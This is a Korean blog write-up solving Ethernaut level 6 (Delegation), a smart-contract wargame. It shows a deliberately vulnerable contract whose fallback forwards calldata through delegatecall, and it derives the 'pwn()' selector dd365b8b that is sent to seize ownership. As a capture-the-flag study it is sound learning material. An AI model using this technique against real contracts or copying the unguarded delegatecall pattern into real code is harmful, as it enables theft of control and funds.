본문 바로가기
Write Up/Ethernaut - 블록체인 워게임

Ethernaut - 6단계 (Delegation)

by p6rkdoye0n 2023. 11. 7.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

 

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
Fallback methods
Method ids

 

위는 Ethernaut 6단계 문제이다. owner를 탈취하는 것이 최종 목표이다. 해당 코드에서 생성자를 제외하고 owner를 변경할 수 있는 것은 pwn 함수만이 있는 것을 알 수 있다.

 

Delegate 컨트랙트에 접근할 수 있는 방법은 fallback 함수 안에 delegatecall 함수 부분으로 접근할 수 있다.

 

msg.data는 EOA 안에서 트랜잭션을 시도할 때 hex data를 같이 보낼 수 있는데 그때 보내는 데이터를 의미한다. 그렇다면 delegatecall을 호출할 때 인자로 pwn()의 method id 값을 넣어주면 owner를 탈취할 수 있을 것이다.

 

// SPDX-License-Identifier: MIT
pragma solidity >= 0.7.0 < 0.9.0;

contract Hash {
    event console(bytes32);
    function hash_print() public {
    bytes32 hash = keccak256(abi.encodePacked("pwn()"));
    emit console(hash);
    }
}

 

위는 pwn() 의 method id 값을 구하기 위해 만든 코드이다.

 

 

0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab

 

위와 같은 hex 값이 출력되었다.

 

그리고 해당 hex 값의 4바이트 dd365b8b 함수 시그니처를 EOA에서 hex data로 보내게 되면 owner를 탈취할 것이다.

 

 

 

최종적으로 owner를 탈취하며 문제를 풀었다.

 

🚩

'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글

Ethernaut - 8단계 (Vault)  (0) 2023.11.08
Ethernaut - 7단계 (Force)  (0) 2023.11.07
Ethernaut - 5단계 (Token)  (0) 2023.11.07
Ethernaut - 4단계 (Telephone)  (0) 2023.11.07
Ethernaut - 3단계 (Coin Flip)  (0) 2023.11.07